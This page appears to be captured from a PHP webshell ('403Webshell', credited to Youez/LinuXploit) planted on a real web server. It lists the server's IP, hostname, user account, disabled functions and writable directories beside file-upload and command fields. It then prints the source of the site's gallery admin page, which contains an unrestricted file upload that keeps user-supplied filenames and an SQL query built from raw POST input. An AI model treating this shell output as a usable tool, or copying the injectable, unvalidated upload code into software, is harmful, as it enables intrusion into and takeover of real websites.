403Webshell
Server IP : 108.170.25.35  /  Your IP : 3.17.76.163
Web Server : Apache/2
System : Linux gains.winzonesoftech.com 4.18.0-513.24.1.el8_9.x86_64 #1 SMP Mon Apr 8 11:23:13 EDT 2024 x86_64
User : studio ( 1434)
PHP Version : 8.1.28
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/studio/public_html/gfgdfgdfg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/studio/public_html/gfgdfgdfg/gallery.php
   
<?php include('header.php')?>
<?php include('sidebar.php')?>
<?php include('conn.php')?>
  
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
 <script>
$(document).ready(function(){
$("input[type='radio']").change(function(){
if($(this).val()=="Single")
{
$("#otherAnswer1").hide();
$("#otherAnswer").show();
}
else if($(this).val()=="Multiple")
{
$("#otherAnswer").hide(); 
$("#otherAnswer1").show();
}
});
});
</script>

<script> 
    Filevalidation = () => { 
        const fi = document.getElementById('otherAnswer'); 
        // Check if any file is selected. 
        if (fi.files.length > 0) { 
            for (const i = 0; i <= fi.files.length - 1; i++) { 
  
                const fsize = fi.files.item(i).size; 
                const file = Math.round((fsize / 1024)); 
                // The size of the file. 
                if (file >= 300) { 
                    alert( 
                      "File too Big, please select a file less than 300kb"); 
                } else if (file < 10) { 
                    alert( 
                      "File too small, please select a file greater than 10kb"); 
                } else { 
                    document.getElementById('size').innerHTML = '<b>'
                    + file + '</b> KB'; 
                } 
            } 
        } 
    } 
	    
</script>
<script>
function show_confirm() {
    return confirm("Are You Sure");
}
</script>


<?php

 if(isset($_POST['submit']))
	 {
		   $category=$_POST['category'];
		
		 

		
		 if ($_POST['type'] == 'Multiple'){
		 foreach ($_FILES['simage']['tmp_name'] as $key => $val )
		 
		 {
                    move_uploaded_file($_FILES['simage']['tmp_name'][$key],"img/".$_FILES['simage']['name'][$key]);
                    $image="img/".$_FILES['simage']['name'][$key];
					
           		 $sql=mysqli_query($conn, "INSERT INTO gallery (image,cid) VALUES ('$image','$category')");
		}
		 }
		 else
		 {
			 
			 move_uploaded_file($_FILES['image']['tmp_name'],"img/".$_FILES['image']['name']);
            $image="img/".$_FILES['image']['name'];


			 $sql=mysqli_query($conn, "INSERT INTO gallery (image,cid) VALUES ('$image','$category')");
		 }
				
			 if($sql)
 {
  echo "<Script>alert('Details Inserted Successfully')</script>";
  echo "<Script> window.location.assign('gallery.php')</script>";
  
 }
 else
 {
	 echo "<Script>alert('Insertion Failed')</script>";
 }
		 
	 }

?>

        <!--**********************************
            Content body start
        ***********************************-->
        <div class="content-body recent-imgheight">
            <div class="container-fluid">
                <div class="row page-titles mx-0">
                    <div class="col-sm-6 p-md-0">
                        <div class="welcome-text">
                            <h4>Studio 7 Eleven Gallery </h4>
							<br>
                            
                        </div>
                    </div>
                    
                </div>
                <!-- row -->
                <div class="row">
                    <div class="col-xl-6 col-xxl-12">
                        
                        <div class="card">
                            <div class="card-header">
                                <h4 class="card-title">Category Insert</h4>
                            </div>
							 
                            <div class="card-body">
                                <div class="basic-form custom_file_input">
                                    <form action="" method="POST" enctype="multipart/form-data">
                                        
									  <div class="form-group row">
                                                    <label class="col-lg-2 col-form-label" for="val-skill">Select Category
                                                        <span class="text-danger">*</span>
                                                    </label>
                                                    <div class="col-lg-10">
                                                        <select class="form-control" name="category">
                                                            <option value="">Please select</option>
															
	                                                         <?php
                                                             $sql=mysqli_query($conn,"select * from gallery_category");
                                                             while($row=mysqli_fetch_array($sql))
                                                            {
 	                                                        ?>	  
 
                                                            <option value="<?php echo $row['id']; ?>"><?php echo $row['category']; ?></option>
                                                            <?php
                                                        }
                                                             ?>
                                                        </select>
														<br>
													<br>
                                                    </div>
											<div class="form-group">
			  	<label for="exampleInputFile">Upload Image</label></br>
                   <input type="radio"  name="type"  value="Single" required>Single
                  
                        <input type="radio"  name="type"  value="Multiple">Multiple
         

	<input  class="form-control" type="file" name="simage[]" id="otherAnswer1" multiple>
	
	<input  style="display:none;" class="form-control" type="file" name="image" id="otherAnswer">
    </div> 

												   
                                                </div>
											<br>
											<br>
											<div class="col-12">
                                                <button type="submit" value="ADD" name="submit"class="btn btn-primary mb-2">Submit</button>
                                            </div>
											
											
                                            
                                        </div>
                                        
                                    </form>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!--**********************************
            Content body end
        ***********************************-->
		 <!--**********************************
            Content body start
        ***********************************-->
        <div class="content-body">
            <div class="container-fluid">
                <div class="row page-titles mx-0">
                    <div class="col-sm-6 p-md-0">
                        <div class="welcome-text">
                            <h4>Studio 7 Eleven Gallery</h4>
							
                        </div>
                    </div>
                    <div class="col-sm-6 p-md-0 justify-content-sm-end mt-2 mt-sm-0 d-flex">
                        <ol class="breadcrumb">
                            <li class="breadcrumb-item"><a href="javascript:void(0)">Table</a></li>
                            <li class="breadcrumb-item active"><a href="javascript:void(0)">Gallery</a></li>
                        </ol>
                    </div>
                </div>
                <!-- row -->


                <div class="row">
                    <div class="col-12">
                        <div class="card">
                            <div class="card-header">
                                <h4 class="card-title">Basic Datatable</h4>
                            </div>
                            <div class="card-body">
                                <div class="table-responsive">
                                    <table id="example" class="display" style="min-width: 845px">
                                        <thead>
                                            <tr>
                                                <th>S.NO</th>
                                                <th>Image</th>
                                                <th>Categorys</th>
                                                <th>Delete</th>
                                               
                                            </tr>
                                        </thead>
                                        <tbody>
					                   <?php
 $x = 1;
  $sql=mysqli_query($conn,"SELECT a.*,b.* FROM gallery_category AS a, gallery AS b WHERE a.id=b.cid");
 while($row=mysqli_fetch_array($sql))
 {
	
  ?>
  <tr>
    <td><?php echo $x; ?></td>
	<td><img height="70px" class="banner" src="<?php echo $row['image']; ?>" /></td>
	<td><?php echo $row['category']; ?></td>
    <td><a class="" onclick='show_confirm();'href="galdelete.php?id=<?php echo $row['id'];?>"><img class="del-img"src="images/delete.png" alt="image"></a></td>

    
  </tr>
   <?php 
   $x++;
   } 
   echo '<script type="text/javascript"> drawChart(); </script>'; 
   ?>	
                                        </tbody>
                                        <tfoot>
                                            <tr>
                                                <th>S.NO</th>
                                                <th>Image</th>
                                                <th>Categorys</th>
                                                <th>Delete</th>
                                               
                                            </tr>
                                        </tfoot>
                                    </table>
                                </div>
                            </div>
                        </div>
                    </div>
                    
                </div>
            </div>
        </div>
        <!--**********************************
            Content body end
        ***********************************-->



       <?php include'footer.php';?>


Youez - 2016 - github.com/yon3zu
LinuXploit